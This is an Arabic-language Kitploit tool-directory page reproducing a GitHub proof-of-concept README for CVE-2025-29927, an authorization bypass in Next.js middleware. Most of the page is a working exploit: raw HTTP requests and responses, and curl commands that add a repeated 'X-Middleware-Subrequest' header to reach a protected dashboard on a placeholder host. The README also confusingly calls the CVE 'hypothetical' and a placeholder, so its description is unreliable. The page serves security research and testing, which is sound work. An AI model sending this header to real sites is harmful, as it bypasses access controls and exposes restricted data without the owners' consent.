Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-29927-POC — تجاوز التفويض في الوسيطة (Middleware) لـ Next.js | Kitploit
أدوات/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
المصادقة والترخيصتحليل الثغرات الأمنيةاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

تجاوز التفويض في الوسيطة (Middleware) لـ Next.js

عرض المستودع
93منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

CVE-2025-29927-POC

مقدمة

يحتوي هذا المستودع على إثبات مفهوم (PoC) للثغرة CVE-2025-29927، وهي ثغرة افتراضية توضح خللاً في معالجة الوسيطة (middleware) داخل تطبيق ويب. يوضح PoC كيف يمكن لطلب HTTP مصمم خصيصًا تجاوز منطق إعادة التوجيه للوصول إلى محتوى مقيد، مثل لوحة التحكم. هذا المشروع مخصص للأغراض التعليمية والبحثية الأمنية فقط.

تنصل: هذا PoC مخصص للاستخدام في بيئات خاضعة للرقابة بإذن صريح. الاختبار غير المصرح به ضد أنظمة لا تملكها أو ليس لديك موافقة على اختبارها غير قانوني وغير أخلاقي.


جدول المحتويات

  • المتطلبات الأساسية
  • نظرة عامة على الثغرة
  • خطوات إثبات المفهوم
    • الخطوة 1: الطلب الأولي (غير ناجح)
    • الخطوة 2: الطلب المعدل (ناجح)
  • كيفية التكرار
  • المراجع
  • المساهمة
  • الترخيص

المتطلبات الأساسية

لمتابعة هذا PoC، ستحتاج إلى:

  • خادم هدف (مثل abc.com) يعمل بتكوين ضعيف (برنامج/إصدار محدد سيتم تحديده بناءً على تفاصيل CVE).
  • أداة عميل HTTP مثل curl (curl.se)، أو Burp Suite (portswigger.net/burp)، أو برنامج نصي مخصص.
  • معرفة أساسية ببروتوكولات ورؤوس HTTP (انظر وثائق HTTP من MDN).

نظرة عامة على الثغرة

يبدو أن CVE-2025-29927 (عنصر نائب؛ يُستبدل بتفاصيل CVE الرسمية عند توفرها) يستغل سوء تكوين الوسيطة أو خللاً في المنطق. يوضح PoC أن إضافة رأس مخصص (X-Middleware-Subrequest) يغير سلوك الخادم، متجاوزًا آلية إعادة التوجيه للوصول إلى المحتوى المقيد. من المحتمل أن يرتبط هذا بكيفية معالجة الوسيطة (مثل Nginx مع Next.js) للطلبات الفرعية أو التحقق من صحة الرؤوس.

لمزيد من المعلومات حول ثغرات الوسيطة، راجع أمان الوسيطة من OWASP.


خطوات إثبات المفهوم

يتكون PoC من خطوتين: طلب أولي غير ناجح وطلب معدل ناجح. تتضمن كل خطوة طلب HTTP والاستجابة وشرحًا مفصلاً.

الخطوة 1: الطلب الأولي (غير ناجح)

توضح هذه الخطوة سلوك الخادم الافتراضي عند الوصول إلى نقطة النهاية /dashboard بدون رؤوس إضافية.

طلب HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

استجابة HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

الشرح

  • تفاصيل الطلب:
    • GET /dashboard: يحاول الوصول إلى نقطة نهاية لوحة التحكم.
    • الرؤوس القياسية مثل User-Agent و Accept تحاكي طلب متصفح نموذجي.
  • تفاصيل الاستجابة:
    • 307 Temporary Redirect: يشير إلى أن الخادم يعيد توجيه العميل، على الأرجح بسبب المصادقة أو التفويض أو منطق التوجيه (مثل إعادة التوجيه إلى صفحة تسجيل الدخول).
    • Server: nginx/1.14.1: يحدد برنامج خادم الويب.
  • التحليل: يشير إعادة التوجيه إلى وجود آلية حماية تمنع الوصول المباشر إلى /dashboard. يشير عدم وجود رأس Location في هذه الاستجابة (ربما تم حذفه للاختصار) إلى أن وجهة إعادة التوجيه في مكان آخر.
  • المرجع: تعرف على المزيد حول رموز حالة HTTP في MDN HTTP Status.

الخطوة 2: الطلب المعدل (ناجح)

تقدم هذه الخطوة رأسًا مخصصًا لتجاوز إعادة التوجيه، مما يؤدي إلى استرداد محتوى لوحة التحكم بنجاح.

طلب HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

استجابة HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

الشرح

  • تفاصيل الطلب:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: رأس مخصص تمت إضافته إلى الطلب الأصلي. قد تستغل السلسلة المتكررة middleware خللاً في تحليل أو التحقق من صحة مكدس الوسيطة.
    • تظل الرؤوس الأخرى كما هي من الخطوة 1.
  • تفاصيل الاستجابة:
    • 200 OK: يؤكد الوصول الناجح إلى محتوى لوحة التحكم.
    • Content-Type: text/html; charset=utf-8: يشير إلى استجابة HTML، على الأرجح صفحة لوحة التحكم.
    • X-Powered-By: Next.js: يقترح أن التطبيق يستخدم Next.js، وهو إطار عمل React يعتمد غالبًا على الوسيطة في التوجيه.
    • Cache-Control: يمنع التخزين المؤقت، وهو أمر نموذجي للمحتوى الديناميكي الخاص بالمستخدم.
    • Content-Length: 30174: حجم نص الاستجابة بالبايت.
  • التحليل: من المحتمل أن رأس X-Middleware-Subrequest يخدع الوسيطة لتعامل الطلب كطلب فرعي شرعي، متجاوزًا منطق إعادة التوجيه. قد يشير هذا إلى ثغرة في كيفية التحقق من صحة الطلبات الفرعية أو معالجتها.
  • المرجع: استكشف وسيطة Next.js في وثائق Next.js.

كيفية التكرار

اتبع هذه الخطوات لتكرار PoC باستخدام curl:

الخطوة 1: إرسال الطلب الأولي

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

المخرج المتوقع: استجابة 307 Temporary Redirect.

الخطوة 2: إرسال الطلب المعدل

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

المخرج المتوقع: استجابة 200 OK مع محتوى لوحة التحكم.

ملاحظة: استبدل abc.com بالنطاق الهدف الفعلي إذا كنت تختبر في بيئة مصرح بها.


المراجع

  • تفاصيل CVE - قاعدة بيانات CVE الرسمية (يُحدَّث برابط CVE محدد عند توفره).
  • وثائق HTTP من MDN - أساسيات بروتوكول HTTP.
  • وسيطة Next.js - معلومات حول سلوك وسيطة Next.js.
  • أمان الوسيطة من OWASP - نظرة عامة على ثغرات الوسيطة.
  • دليل curl - دليل استخدام curl لطلبات HTTP.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة